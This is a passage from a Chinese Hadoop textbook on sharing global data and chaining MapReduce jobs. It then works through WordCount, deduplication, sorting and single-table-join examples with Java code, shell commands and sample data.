task都运行在Hadoop集群的节点上，所以Map task和Reduce task、甚至不同的Job都可以通过读写HDFS中预定好的同一个文件来实现全局共享数据。具体实现是利用Hadoop的Java API（关于Java API请参见第9章）来完成的。需要注意的是，针对多个Map或Reduce的写操作会产生冲突，覆盖原有数据。\n这种方法的优点是能够实现读写，也比较直观；而缺点是要共享一些很小的全局数据也需要使用I/O，这将占用系统资源，增加作业完成的资源消耗。\n2.配置Job属性\n在MapReduce执行过程中，task可以读取Job的属性。基于这个特性，大家可以在任务启动之初利用Configuration类中的set（String name, String value）将一些简单的全局数据封装到作业的配置属性中，然后在task中再利用Configuration类中的get（String name）获取配置到属性中的全局数据。这种方法的优点是简单，资源消耗小；缺点是对量比较大的共享数据显得比较无力。\n3.使用DistributedCache\nDistributedCache是MapReduce为应用提供缓存文件的只读工具，它可以缓存文本文件、压缩文件和jar文件等。在使用时，用户可以在作业配置时使用本地或HDFS文件的URL来将其设置成共享缓存文件。在作业启动之后和task启动之前，MapReduce框架会将可能需要的缓存文件复制到执行任务节点的本地。这种方法的优点是每个Job共享文件只会在启动之后复制一次，并且它适用于大量的共享数据；而缺点是它是只读的。下面举一个简单的例子说明如何使用DistributedCache（具体的示例程序可查看本书附录C）。\n1）将要缓存的文件复制到HDFS上。\n$bin/hadoop fs-copyFromLocal lookup/myapp/lookup\n2）启用作业的属性配置，并设置待缓存文件。\nConfiguration conf=new Configuration（）；\nDistributedCache.addCacheFile（new URI（\"/myapp/lookup#lookup\"），conf）；\n3）在Map函数中使用DistributedCache。\npublic static class Map extends Mapper＜Object, Text, Text, Text＞{\nprivate Path[]localArchives；\nprivate Path[]localFiles；\npublic void setup（Context context\n）throws IOException, InterruptedException{\n//获取缓存文件\nConfiguration conf=context.getConfiguration（）；\nlocalArchives=DistributedCache.getLocalCacheArchives（conf）；\nlocalFiles=DistributedCache.getLocalCacheFiles（conf）；\n}\npublic void map（K key, V value，\nContext context）\nthrows IOException{\n//使用从缓存文件中获取的数据\n//……\n//……\nContext.collect（k, v）；\n}\n}\n4.8.3 链接MapReduce Job\n在日常的数据处理过程中，常常会碰到有些问题不是一个MapReduce作业就能解决的，这时就需要在工作流中安排多个MapReduce作业，让它们配合起来自动完成一些复杂任务，而不需要用户手动启动每一个作业。那么怎样将MapReduce Job链接起来呢？应该怎么管理呢？下面来介绍如何链接MapReduce Job和如何配置MapReduce Job流。\n1.线性MapReduce Job流\nMapReduce Job也是一个程序，作为程序就是将输入经过处理再输出。所以在处理复杂问题的时候，如果一个Job不能完成，最简单的办法就是设置多个有一定顺序的Job，每个Job以前一个Job的输出作为输入，经过处理，将数据再输出到下一个Job中。这样Job流就能按照预定的代码处理数据，达到预期的目的。这种办法的具体实现非常简单：将每个Job的启动代码设置成只有上一个Job结束之后才执行，然后将Job的输入设置成上一个Job的输出路径。\n2.复杂MapReduce Job流\n第一种方法非常直观简单，但是在某些复杂任务下它仍然不能满足需求。一种情况是处理过程中数据流并不是简单的线性流，如Job3需要将Job1和Job2的输出结果组合起来进行处理。在这种情况下Job3的启动依赖于Job1和Job2的完成，但是Job1和Job2之间并没有关系。针对这种复杂情况，MapReduce框架提供了让用户将Job组织成复杂Job流的API—ControlledJob类和JobControl类（这两个类属于org.apache.hadoop.mapreduce.lib.jobcontrol包）。具体做法是：先按照正常情况配置各个Job，配置完成后再将各个Job封装到对应的ControlledJob对象中，然后使用ControlledJob的addDependingJob（）设置依赖关系，接着再实例化一个JobControl对象，并使用addJob（）方法将所有的Job注入JobControl对象中，最后使用JobControl对象的run方法启动Job流。\n3.Job设置预处理和后处理过程\n对于前面已经介绍的复杂任务的例子，使用前面的两种方法能很好地解决。现在假设另一种情况，在Job处理前和处理后需要做一些简单地处理，这种情况使用第一种方法仍能解决，但是如果针对这些简单的处理设置新的Job来处理稍显笨拙，这里涉及第三种情况，通过在Job前或后链接Map过程来解决预处理和后处理。比如，在一般统计词频的Job中，并不会统计那些无意义的单词（a、an和the等），这就需要在正式的Job前链接一个Map过程过滤掉这些无意义的单词。这种方法具体是通过MapReduce中org.apache.hadoop.mapred.lib包下的ChainMapper和ChainReducer两个静态类来实现的，这种方法最终形成的是一个独立的Job，而不是Job流，并且只有针对Job的输入输出流，各个阶段函数之间的输入输出MapReduce框架会自动组织。下面是一个具体的实现：\n……\nConfiguration conf=new Configuration（）；\nJobConf job=new JobConf（conf）；\njob.setJobName（\"Job\"）；\njob.setInputFormatClass（TextInputFormat.class）；\njob.setOutputKeyClass（Text.class）；\njob.setOutputValueClass（IntWritable.class）；\nFileInputFormat.setInputPaths（job, new Path（args[0]））；\nFileOutputFormat.setOutputPath（job, new Path（args[1]））；\nJobConf map1Conf=new JobConf（false）；\nChainMapper.addMapper（job，\nMap1.class，\nLongWritable.class，\nText.class，\nText.class，\nText.class，\ntrue，\nmap1Conf）；\nJobConf map2Conf=new JobConf（false）；\nChainMapper.addMapper（job，\nMap2.class，\nText.class，\nText.class，\nLongWritable.class，\nText.class，\ntrue，\nmap2Conf）；\nJobConf reduceConf=new JobConf（false）；\nChainReducer.setReducer（job，\nReduce.class，\nLongWritable.class，\nText.class，\nText.class，\nText.class，\ntrue，\nreduceConf）；\nJobConf map3Conf=new JobConf（false）；\nChainReducer.addMapper（job，\nMap3.class，\nText.class，\nText.class，\nLongWritable.class，\nText.class，\ntrue，\nmap3Conf）；\nJobClient.runJob（job）；\n在这个例子中，job对象先组织了作业全局的配置，接下来再使用ChainMapper和ChainReducer两个静态类的静态方法设置了作业的各个阶段函数。需要注意的是，ChainMapper和ChainReducer到目前为止只支持旧API，即Map和Reduce必须是实现org.apache.hadoop.mapred.Mapper接口的静态类（详细的示例程序请查看附录D）。\n4.9 本章小结\n在本章中，主要总体介绍了开发MapReduce程序的一般框架和一些优化方法。\n在本章一开始，笔者举例说明了MapReduce的编程。在单节点上完成Map函数和Reduce函数，并且对它们进行测试。待Map和Reduce都能够成功运行后，再在单节点的大数据集进行测试。在进行程序的编写和编译时，最好在集成环境下进行，因为这样便于程序的修改和调试，建议在Eclipse下进行编程。\n程序可以在集成环境中运行，也可以在命令行中编译打包，然后在命令中执行。最终的结果也有3种不同的查看方式：在命令行中直接查看；复制到本地文件系统中查看；通过Web用户界面查看。\n对于已经能够完成功能性要求的MapReduce程序，还可以从多个方面进行性能上的优化。比如从几个常见的方面入手：变小文件为大文件，减少Map的数量；压缩最终的输出数据或Map的中间输出结果；在Hadoop安装路径下的conf目录下修改属性，使能够同时运行的Map和Reduce任务数增多，从而提高性能。\n在本章最后，针对日常处理中的复杂问题，为大家介绍了MapReduce的一些高阶编程手段，将这些方法运用于具体的环境中，能高效直观地解决复杂的MapReduce问题。\n第5章 MapReduce应用案例\n本章内容\n单词计数\n数据去重\n排序\n单表关联\n多表关联\n本章小结\n前面已经介绍了很多关于MapReduce的基础知识，比如Hadoop集群的配置方法，以及如何开发MapReduce应用程序等。本章将从本书配套的云计算在线监测平台（http：//cloudcomputing.ruc.edu.cn/）上的MapReduce编程题目出发，向大家介绍如何挖掘实际问题的并行处理可能性，以及如何设计编写MapReduce程序。需要说明的是，本章所有给出的代码均使用Hadoop最新的API编写、在伪分布集群的默认设置下运行通过，其Hadoop版本为1.0.1，JDK的版本是1.7。本章旨在帮助刚接触MapReduce的读者入门。\n5.1 单词计数\n进入云计算在线监测平台后的第一个编程题目是WordCount，也就是文本中的单词计数。如同Java中的“Hello World”经典程序一样，WordCount是MapReduce的入门程序。虽然此例在本书中的其他章节也有涉及，但是本章主要从如何挖掘此问题中的并行处理可能性角度出发，让读者了解设计MapReduce程序的过程。\n 5.1.1 实例描述\n计算出文件中每个单词的频数。要求输出结果按照单词的字母顺序进行排序。每个单词和其频数占一行，单词和频数之间有间隔。\n比如，输入一个文件，其内容如下：\nhello world\nhello hadoop\nhello mapreduce\n对应上面给出的输入样例，其输出样例为：\nhadoop 1\nhello 3\nmapreduce 1\nworld 1\n5.1.2 设计思路\n这个应用实例的解决方案很直接，就是将文件内容切分成单词，然后将所有相同的单词聚集在一起，最后计算单词出现的次数并输出。根据MapReduce并行程序设计原则可知，解决方案中的内容切分步骤和数据不相关，可以并行化处理，每个获得原始数据的机器只要将输入数据切分成单词就可以了。所以可以在Map阶段完成单词切分任务。另外，相同单词的频数计算也可以并行化处理。由实例要求来看，不同单词之间的频数不相关，所以可以将相同的单词交给一台机器来计算频数，然后输出最终结果。这个过程可以在Reduce阶段完成。至于将中间结果根据不同单词分组再分发给Reduce机器，这正好是MapReduce过程中的shuffle能够完成的。至此，这个实例的MapReduce程序就设计出来了。Map阶段完成由输入数据到单词切分的工作，shuffle阶段完成相同单词的聚集和分发工作（这个过程是MapReduce的默认过程，不用具体配置），Reduce阶段负责接收所有单词并计算其频数。MapReduce中传递的数据都是＜key, value＞形式的，并且shuffle排序聚集分发都是按照key值进行的，因此将Map的输出设计成由word作为key、1作为value的形式，这表示单词word出现了一次（Map的输入采用Hadoop默认的输入方式：文件的一行作为value，行号作为key）。Reduce的输入为Map输出聚集后的结果，即＜key, value-list＞，具体到这个实例就是＜word，{1，1，1，1……}＞，Reduce的输出会设计成与Map输出相同的形式，只是后面的数字不再固定是1，而是具体算出的word所对应的频数。下面给出笔者实验的WordCount代码。\n5.1.3 程序代码\nWordCount代码如下：\npackage cn.edu.ruc.cloudcomputing.book.chapter05；\nimport java.io.IOException；\nimport java.util.StringTokenizer；\nimport org.apache.hadoop.conf.Configuration；\nimport org.apache.hadoop.fs.Path；\nimport org.apache.hadoop.io.IntWritable；\nimport org.apache.hadoop.io.Text；\nimport org.apache.hadoop.mapreduce.Job；\nimport org.apache.hadoop.mapreduce.Mapper；\nimport org.apache.hadoop.mapreduce.Reducer；\nimport org.apache.hadoop.mapreduce.lib.input.FileInputFormat；\nimport org.apache.hadoop.mapreduce.lib.output.FileOutputFormat；\nimport org.apache.hadoop.util.GenericOptionsParser；\npublic class WordCount{\n//继承Mapper接口，设置map的输入类型为＜Object, Text＞\n//输出类型为＜Text, IntWritable＞\npublic static class TokenizerMapper\nextends Mapper＜Object, Text, Text, IntWritable＞{\n//one表示单词出现一次\nprivate final static IntWritable one=new IntWritable（1）；\n//word用于存储切下的单词\nprivate Text word=new Text（）；\npublic void map（Object key, Text value, Context context）throws IOException，\nInterruptedException{\nStringTokenizer itr=new StringTokenizer（value.toString（））；//对输入的行切词\nwhile（itr.hasMoreTokens（））{\nword.set（itr.nextToken（））；//切下的单词存入word\ncontext.write（word, one）；\n}\n}\n}\n//继承Reducer接口，设置Reduce的输入类型为＜Text, IntWritable＞\n//输出类型为＜Text, IntWritable＞\npublic static class IntSumReducer extends Reducer＜Text, IntWritable, Text, IntWritable＞{\n//result记录单词的频数\nprivate IntWritable result=new IntWritable（）；\npublic void reduce（Text key, Iterable＜IntWritable＞values, Context context）\nthrows IOException, InterruptedException{\nint sum=0；\n//对获取的＜key, value-list＞计算value的和\nfor（IntWritable val：values）{\nsum+=val.get（）；\n}\n//将频数设置到result中\nresult.set（sum）；\n//收集结果\ncontext.write（key, result）；\n}\n}\npublic static void main（String[]args）throws Exception{\nConfiguration conf=new Configuration（）；\n//检查运行命令\nString[]otherArgs=new GenericOptionsParser（conf, args）.getRemainingArgs（）；\nif（otherArgs.length！=2）{\nSystem.err.println（\"Usage：wordcount＜in＞＜out＞\"）；\nSystem.exit（2）；\n}\n//配置作业名\nJob job=new Job（conf，\"word count\"）；\n//配置作业的各个类\njob.setJarByClass（WordCount.class）；\njob.setMapperClass（TokenizerMapper.class）；\njob.setCombinerClass（IntSumReducer.class）；\njob.setReducerClass（IntSumReducer.class）；\njob.setOutputKeyClass（Text.class）；\njob.setOutputValueClass（IntWritable.class）；\nFileInputFormat.addInputPath（job, new Path（otherArgs[0]））；\nFileOutputFormat.setOutputPath（job, new Path（otherArgs[1]））；\nSystem.exit（job.waitForCompletion（true）?0：1）；\n}\n}\n5.1.4 代码解读\nWordCount程序在Map阶段接收输入的＜key, value＞（key是当前输入的行号，value是对应行的内容），然后对此行内容进行切词，每切下一个词就将其组织成＜word，1＞的形式输出，表示word出现了一次。\n在Reduce阶段，TaskTracker会接收到＜word，{1，1，1，1……}＞形式的数据，也就是特定单词及其出现次数的情况，其中“1”表示word的频数。所以Reduce每接受一个＜word，{1，1，1，1……}＞，就会在word的频数上加1，最后组织成＜word, sum＞的形式直接输出。\n5.1.5 程序执行\n运行条件：将WordCount.java文件放在Hadoop安装目录下，并在目录下创建输入目录input，目录下有输入文件file1、file2。其中：\nfile1的内容是：\nhello world\nfile2的内容是：\nhello hadoop\nhello mapreduce\n准备好之后在命令行输入命令运行。下面对执行的命令进行介绍。\n1）在集群上创建输入文件夹：\nbin/hadoop fs-mkdir wordcount_input\n2）上传本地目录input下前四个字符为file的文件到集群上的input目录下：\nbin/hadoop fs-put input/file*wordcount_input\n3）编译WordCount.java程序，将结果放入当前目录的WordCount目录下：\njavac-classpath hadoop-1.0.1-core.jar：lib/commons-cli-1.2.jar-d WordCount WordCount.java\n4）将编译结果打成Jar包：\njar-cvf wordcount.jar-C WordCount.\n5）在集群上运行WordCount程序，以input目录作为输入目录，output目录作为输出目录：\nbin/hadoop jar wordcount.jar WordCount wordcount_input wordcount_output\n6）查看输出结果：\nbin/hadoop fs-cat wordcount_output/part-r-00000\n5.1.6 代码结果\n运行结果如下：\nhadoop 1\nhello 3\nmapreduce 1\nworld 1\n5.1.7 代码数据流\nWordCount程序是最简单也是最具代表性的MapReduce框架程序，下面再基于上例给出MapReduce程序执行过程中详细的数据流。\n首先在MapReduce程序启动阶段，JobTracker先将Job的输入文件分割到每个Map Task上。假设现在有两个Map Task，一个Map Task一个文件。\n接下来MapReduce启动Job，每个Map Task在启动之后会接收到自己所分配的输入数据，针对此例（采用默认的输入方式，每一次读入一行，key为行首在文件中的偏移量，value为行字符串内容），两个Map Task的输入数据如下：\n＜0，\"hello world\"＞\n＜0，\"hello hadoop\"＞\n＜14，\"hello mapreduce\"＞\nMap函数会对输入内容进行词分割，然后输出每个单词和其频次。第一个Map Task的Map输出如下：\n＜\"hello\"，1＞\n＜\"world\"，1＞\n第二个Map Task的Map输出如下：\n＜\"hello\"，1＞\n＜\"hadoop\"，1＞\n＜\"hello\"，1＞\n＜\"mapreduce\"，1＞\n由于在本例中设置了Combiner的类为Reduce的class，所以每个Map Task将输出发送到Reduce时，会先执行一次Combiner。这里的Combiner相当于将结果先局部进行合并，这样能够降低网络压力，提高效率。执行Combiner之后两个Map Task的输出如下：\nMap Task1\n＜\"hello\"，1＞\n＜\"world\"，1＞\nMap Task2\n＜\"hello\"，2＞\n＜\"hadoop\"，1＞\n＜\"mapreduce\"，1＞\n接下来是MapReduce的shuffle过程，对Map的输出进行排序合并，并根据Reduce数量对Map的输出进行分割，将结果交给对应的Reduce。经过shuffle过程的输出也就是Reduce的输入如下：\n＜\"hadoop\"，1＞\n＜\"hello\"，＜1，2＞＞\n＜\"mapreduce\"，1＞\n＜\"world\"，1＞\nReduce接收到如上的输入之后，对每个＜key, value-list＞进行处理，计算每个单词也就是key的出现总数。最后输出单词和对应的频数，形成整个MapReduce的输出，内容如下：\n＜\"hadoop\"，1＞\n＜\"hello\"，3＞\n＜\"mapreduce\"，1＞\n＜\"world\"，1＞\nWordCount虽然简单，但具有代表性，也在一定程度上反映了MapReduce设计的初衷—对日志文件的分析。希望这里的详细分析能对大家有所帮助。\n5.2 数据去重\n数据去重这个实例主要是为了让读者掌握并利用并行化思想对数据进行有意义的筛选。统计大数据集上的数据种类个数、从网站日志中计算访问地等这些看似庞杂的任务都会涉及数据去重。下面就进入这个实例的MapReduce程序设计。\n 5.2.1 实例描述\n对数据文件中的数据进行去重。数据文件中的每行都是一个数据。\n样例输入：\nfile1：\n2006-6-9 a\n2006-6-10 b\n2006-6-11 c\n2006-6-12 d\n2006-6-13 a\n2006-6-14 b\n2006-6-15 c\n2006-6-11 c\nfile2：\n2006-6-9 b\n2006-6-10 a\n2006-6-11 b\n2006-6-12 d\n2006-6-13 a\n2006-6-14 c\n2006-6-15 d\n2006-6-11 c\n样例输出：\n2006-6-10 a\n2006-6-10 b\n2006-6-11 b\n2006-6-11 c\n2006-6-12 d\n2006-6-13 a\n2006-6-14 b\n2006-6-14 c\n2006-6-15 c\n2006-6-15 d\n2006-6-9 a\n2006-6-9 b\n5.2.2 设计思路\n数据去重实例的最终目标是让原始数据中出现次数超过一次的数据在输出文件中只出现一次。我们自然而然会想到将同一个数据的所有记录都交给一台Reduce机器，无论这个数据出现多少次，只要在最终结果中输出一次就可以了。具体就是Reduce的输入应该以数据作为key，而对value-list则没有要求。当Reduce接收到一个＜key, value-list＞时就直接将key复制到输出的key中，并将value设置成空值。在MapReduce流程中，Map的输出＜key, value＞经过shuffle过程聚集成＜key, value-list＞后会被交给Reduce。所以从设计好的Reduce输入可以反推出Map输出的key应为数据，而value为任意值。继续反推，Map输出的key为数据。而在这个实例中每个数据代表输入文件中的一行内容，所以Map阶段要完成的任务就是在采用Hadoop默认的作业输入方式之后，将value设置成key，并直接输出（输出中的value任意）。Map中的结果经过shuffle过程之后被交给Reduce。在Reduce阶段不管每个key有多少个value，都直接将输入的key复制为输出的key，并输出就可以了（输出中的value被设置成空）。\n因为此程序简单且执行步骤与单词计数实例完全相同，所以不再赘述，下面只给出程序。\n5.2.3 程序代码\n程序代码如下：\npackage cn.edu.ruc.cloudcomputing.book.chapter05；\nimport java.io.IOException；\nimport org.apache.hadoop.conf.Configuration；\nimport org.apache.hadoop.fs.Path；\nimport org.apache.hadoop.io.IntWritable；\nimport org.apache.hadoop.io.Text；\nimport org.apache.hadoop.mapreduce.Job；\nimport org.apache.hadoop.mapreduce.Mapper；\nimport org.apache.hadoop.mapreduce.Reducer；\nimport org.apache.hadoop.mapreduce.lib.input.FileInputFormat；\nimport org.apache.hadoop.mapreduce.lib.output.FileOutputFormat；\nimport org.apache.hadoop.util.GenericOptionsParser；\npublic class Dedup{\n//map将输入中的value复制到输出数据的key上，并直接输出\npublic static class Map extends Mapper＜Object, Text, Text, Text＞{\nprivate static Text line=new Text（）；\npublic void map（Object key, Text value, Context context）throws IOException，\nInterruptedException{\nline=value；\ncontext.write（line, new Text（\"\"））；\n}\n}\n//reduce将输入中的key复制到输出数据的key上，并直接输出\npublic static class Reduce extends Reducer＜Text, Text, Text, Text＞{\npublic void reduce（Text key, Iterable＜Text＞values, Context context）throws\nIOException, InterruptedException{\ncontext.write（key, new Text（\"\"））；\n}\n}\npublic static void main（String[]args）throws Exception{\nConfiguration conf=new Configuration（）；\nString[]otherArgs=new GenericOptionsParser（conf, args）.getRemainingArgs（）；\nif（otherArgs.length！=2）{\nSystem.err.println（\"Usage：wordcount＜in＞＜out＞\"）；\nSystem.exit（2）；\n}\nJob job=new Job（conf，\"Data Deduplication\"）；\njob.setJarByClass（Dedup.class）；\njob.setMapperClass（Map.class）；\njob.setCombinerClass（Reduce.class）；\njob.setReducerClass（Reduce.class）；\njob.setOutputKeyClass（Text.class）；\njob.setOutputValueClass（Text.class）；\nFileInputFormat.addInputPath（job, new Path（otherArgs[0]））；\nFileOutputFormat.setOutputPath（job, new Path（otherArgs[1]））；\nSystem.exit（job.waitForCompletion（true）?0：1）；\n}\n}\n5.3 排序\n数据排序是许多实际任务在执行时要完成的第一项工作，比如学生成绩评比、数据建立索引等。这个实例和数据去重类似，都是先对原始数据进行初步处理，为进一步的数据操作打好基础。下面进入这个实例。\n 5.3.1 实例描述\n对输入文件中的数据进行排序。输入文件中的每行内容均为一个数字，即一个数据。要求在输出中每行有两个间隔的数字，其中，第二个数字代表原始数据，第一个数字代表这个原始数据在原始数据集中的位次。\n样例输入：\nfile1：\n2\n32\n654\n32\n15\n756\n65223\nfile2：\n5956\n22\n650 92\nfile3：\n26\n54\n6\n样例输出：\n1 2\n2 6\n3 15\n4 22\n5 26\n6 32\n7 32\n8 54\n9 92\n10 650\n11 654\n12 756\n13 5956\n14 65223\n5.3.2 设计思路\n这个实例仅仅要求对输入数据进行排序，熟悉MapReduce过程的读者很快会想到在MapReduce过程中就有排序。是否可以利用这个默认的排序、而不需要自己再实现具体的排序呢？答案是肯定的。但是在使用之前首先要了解MapReduce过程中的默认排序规则。它是按照key值进行排序，如果key为封装int的IntWritable类型，那么MapReduce按照数字大小对key排序；如果key为封装String的Text类型，那么MapReduce按照字典顺序对字符串排序。需要注意的是，Reduce自动排序的数据仅仅是发送到自己所在节点的数据，使用默认的排序并不能保证全局的顺序，因为在排序前还有一个partition的过程，默认无法保证分割后各个Reduce上的数据整体是有序的。所有要想使用默认的排序过程，还必须定义自己的Partition类，保证执行Partition过程之后所有Reduce上的数据在整体上是有序的，然后再对局部Reduce上的数据进行默认排序，这样才能保证所有数据有序。了解了这个细节，我们就知道，首先应该使用封装int的IntWritable型数据结构，也就是将读入的数据在Map中转化成IntWritable型，然后作为key值输出（value任意）；其次需要重写partition类，保证整体有序，具体做法是用输入数据的最大值除以系统partition数量的商作为分割数据的边界增量，也就是说分割数据的边界为此商的1倍、2倍至numPartitions-1倍，这样就能保证执行partition后的数据是整体有序的；然后Reduce获得＜key, value-list＞之后，根据value-list中元素的个数将输入的key作为value的输出次数，输出的key是一个全局变量，用于统计当前key的位次。需要注意的是，这个程序中没有配置Combiner，也就是说在MapReduce过程中不使用Combiner。这主要是因为使用Map和Reduce就已经能够完成任务了。\n由于此程序简单且执行步骤与单词计数实例完全相同，所以不再赘述，下面只给出程序。\n5.3.3 程序代码\n程序代码如下：\npackage cn.edu.ruc.cloudcomputing.book.chapter05；\nimport java.io.IOException；\nimport org.apache.hadoop.conf.Configuration；\nimport org.apache.hadoop.fs.Path；\nimport org.apache.hadoop.io.IntWritable；\nimport org.apache.hadoop.io.Text；\nimport org.apache.hadoop.mapreduce.Job；\nimport org.apache.hadoop.mapreduce.Mapper；\nimport org.apache.hadoop.mapreduce.Reducer；\nimport org.apache.hadoop.mapreduce.lib.input.FileInputFormat；\nimport org.apache.hadoop.mapreduce.lib.output.FileOutputFormat；\nimport org.apache.hadoop.util.GenericOptionsParser；\nimport org.apache.hadoop.mapreduce.Partitioner；\npublic class Sort{\n//map将输入中的value转化成IntWritable类型，作为输出的key\npublic static class Map extends Mapper＜Object, Text, IntWritable, IntWritable＞{\nprivate static IntWritable data=new IntWritable（）；\npublic void map（Object key, Text value, Context context）throws IOException，\nInterruptedException{\nString line=value.toString（）；\ndata.set（Integer.parseInt（line））；\ncontext.write（data, new IntWritable（1））；\n}\n}\n//reduce将输入的key复制到输出的value上，然后根据输入的\n//value-list中元素的个数决定key的输出次数\n//用全局linenum来代表key的位次\npublic static class Reduce extends Reducer＜IntWritable, IntWritable, IntWritable，\nIntWritable＞{\nprivate static IntWritable linenum=new IntWritable（1）；\npublic void reduce（IntWritable key, Iterable＜IntWritable＞values, Context\ncontext）throws IOException, InterruptedException{\nfor（IntWritable val：values）{\ncontext.write（linenum, key）；\nlinenum=new IntWritable（linenum.get（）+1）；\n}\n}\n}\n//自定义Partition函数，此函数根据输入数据的最大值和MapReduce框架中\n//Partition的数量获取将输入数据按照大小分块的边界，然后根据输入数值和\n//边界的关系返回对应的Partition ID\npublic static class Partition extends Partitioner＜IntWritable, IntWritable＞{\n@Override\npublic int getPartition（IntWritable key, IntWritable value, int\nnumPartitions）{\nint Maxnumber=65223；\nint bound=Maxnumber/numPartitions+1；\nint keynumber=key.get（）；\nfor（int i=0；i＜numPartitions；i++）{\nif（keynumber＜bound*i＆＆keynumber＞=bound*（i-1））\nreturn i-1；\n}\nreturn-1；\n}\n}\npublic static void main（String[]args）throws Exception{\nConfiguration conf=new Configuration（）；\nString[]otherArgs=new GenericOptionsParser（conf, args）.getRemainingArgs（）；\nif（otherArgs.length！=2）{\nSystem.err.println（\"Usage：wordcount＜in＞＜out＞\"）；\nSystem.exit（2）；\n}\nJob job=new Job（conf，\"Sort\"）；\njob.setJarByClass（Sort.class）；\njob.setMapperClass（Map.class）；\njob.setReducerClass（Reduce.class）；\njob.setPartitionerClass（Partition.class）；\njob.setOutputKeyClass（IntWritable.class）；\njob.setOutputValueClass（IntWritable.class）；\nFileInputFormat.addInputPath（job, new Path（otherArgs[0]））；\nFileOutputFormat.setOutputPath（job, new Path（otherArgs[1]））；\nSystem.exit（job.waitForCompletion（true）?0：1）；\n}\n}\n5.4 单表关联\n前面的实例都是在数据上进行一些简单的处理，为进一步的操作打基础。单表关联这个实例要求从给出的数据中寻找出所关心的数据，它是对原始数据所包含信息的挖掘。下面进入这个实例。\n 5.4.1 实例描述\n实例中给出child-parent表，要求输出grandchild-grandparent表。\n样例的输入：\nfile：\nchild parent\nTom Lucy\nTom Jack\nJone Lucy\nJone Jack\nLucy Mary\nLucy Ben\nJack Alice\nJack Jesse\nTerry Alice\nTerry Jesse\nPhilip Terry\nPhilip Alma\nMark Terry\nMark Alma\n样例输出为：\nfile：\ngrandchild grandparent\nTom Alice\nTom Jesse\nJone Alice\nJone Jesse\nTom Mary\nTom Ben\nJone Mary\nJone Ben\nPhilip Alice\nPhilip Jesse\nMark Alice\nMark Jesse\n5.4.2 设计思路\n分析这个实例，显然需要进行单表连接，连接的是左表的parent列和右表的child列，且左表和右表是同一个表。连接结果中除去连接的两列就是所需要的结果—grandchild-grandparent表。要用MapReduce实现这个实例，首先要考虑如何实现表的自连接，其次就是连接列的设置，最后是结果的整理。考虑到MapReduce的shuffle过程会将相同的key值放在一起，所以可以将Map结果的key值设置成待连接的列，然后列中相同的值自然就会连接在一起了。再与最开始的分析联系起来：要连接的是左表的parent列和右表的child列，且左表和右表是同一个表，所以在Map阶段将读入数据分割成child和parent之后，会将parent设置为key, child设置为value进行输出，作为左表；再将同一对child和parent中的child设置成key, parent设置成value进行输出，作为右表。为了区分输出中的左右表，需要在输出的value中再加上左右表信息，比如在value的String最开始处加上字符1表示左表、字符2表示右表。这样在Map的结果中就形成了左表和右表，然后在shuffle过程中完成连接。在Reduce接收到的连接结果中，每个key的value-list就包含了grandchild和grandparent关系。取出每个key的value-list进行解析，将左表中的child放入一个数组，右表中的parent放入一个数组，然后对两个数组求笛卡儿积就是最后的结果了。\n在设计思路中已经包含了对程序的分析，而其程序执行步骤也与单词计数实例完全相同，所以代码解读和程序执行不再赘述，下面只给出程序。\n5.4.3 程序代码\n程序代码如下：\npackage cn.edu.ruc.cloudcomputing.book.chapter05；\nimport java.io.IOException；\nimport java.util.*；\nimport org.apache.hadoop.conf.Configuration；\nimport org.apache.hadoop.fs.Path；\nimport org.apache.hadoop.io.IntWritable；\nimport org.apache.hadoop.io.Text；\nimport org.apache.hadoop.mapreduce.Job；\nimport org.apache.hadoop.mapreduce.Mapper；\nimport org.apache.hadoop.mapreduce.Reducer；\nimport org.apache.hadoop.mapreduce.lib.input.FileInputFormat；\nimport org.apache.hadoop.mapreduce.lib.output.FileOutputFormat；\nimport org.apache.hadoop.util.GenericOptionsParser；\npublic class STjoin{\npublic static int time=0；\n//Map将输入分割成child和parent，然后正序输出一次作为右表，反序输出一次作为左表，需要注意\n的是在输出的value中必须加上左右表区别标志\npublic static class Map extends Mapper＜Object, Text, Text, Text＞{\npublic void map（Object key, Text value, Context context）throws\nIOException, InterruptedException{\nString childname=new String（）；\nString parentname=new String（）；\nString relationtype=new String（）；\nString line=value.toString（）；\nint i=0；\nwhile（line.charAt（i）！=''）{\ni++；\n}\nString[]values={line.substring（0，i），line.substring（i+1）}；\nif（values[0].compareTo（\"child\"）！=0）\n{\nchildname=values[0]；\nparentname=values[1]；\nrelationtype=\"1\"；//左右表区分标志\ncontext.write（new Text（values[1]），new Text（relationtype\n+\"+\"+childname+\"+\"+parentname））；\n//左表\nrelationtype=\"2\"；\ncontext.write（new Text（values[0]），new Text（relationtype\n+\"+\"+childname+\"+\"+parentname））；\n//右表\n}\n}\n}\npublic static class Reduce extends Reducer＜Text, Text, Text, Text＞{\npublic void reduce（Text key, Iterable＜Text＞values, Context context）throws\nIOException, InterruptedException{\nif（time==0）{//输出表头\ncontext.write（new Text（\"grandchild\"），new Text（\"grandparent\"））；\ntime++；\n}\nint grandchildnum=0；\nString grandchild[]=new String[10]；\nint grandparentnum=0；\nString grandparent[]=new String[10]；\nIterator ite=values.iterator（）；\nwhile（ite.hasNext（））\n{\nString record=ite.next（）.toString（）；\nint len=record.length（）；\nint i=2；\nif（len==0）continue；\nchar relationtype=record.charAt（0）；\nString childname=new String（）；\nString parentname=new String（）；\n//获取value-list中value的child\nwhile（record.charAt（i）！='+'）\n{\nchildname=childname+record.charAt（i）；\ni++；\n}\ni=i+1；\n//获取value-list中value的parent\nwhile（i＜len）\n{\nparentname=parentname+record.charAt（i）；\ni++；\n}\n//左表，取出child放入grandchild\nif（relationtype=='1'）{\ngrandchild[grandchildnum]=childname；\ngrandchildnum++；\n}\nelse{//右表，取出parent放入grandparent\ngrandparent[grandparentnum]=parentname；\ngrandparentnum++；\n}\n}\n//grandchild和grandparent数组求笛卡儿积\nif（grandparentnum！=0＆＆grandchildnum！=0）{\nfor（int m=0；m＜grandchildnum；m++）{\nfor（int n=0；n＜grandparentnum；n++）{\ncontext.write（new Text（grandchild[m]），new Text（grandparent[n]））；\n//输出结果\n}\n}\n}\n}\n}\npublic static void main（String[]args）throws Exception{\nConfiguration conf=new Configuration（）；\nString[]otherArgs=new GenericOptionsParser（conf, args）.getRemainingArgs（）；\nif（otherArgs.length！=2）{\nSystem.err.println（\"Usage：wordcount＜in＞＜out＞\"）；\nSystem.exit（2）；\n}\nJob job=new Job（conf，\"single table join\"）；\njob.setJarByClass（STjoin.class）；\njob.setMapperClass（Map.class）；\njob.setReducerClass（Reduce.class）；\njob.setOutputKeyClass（Text.class）；\njob.setOutputValueClass（Text.class）；\nFileInputFormat.addInputPath（job, new 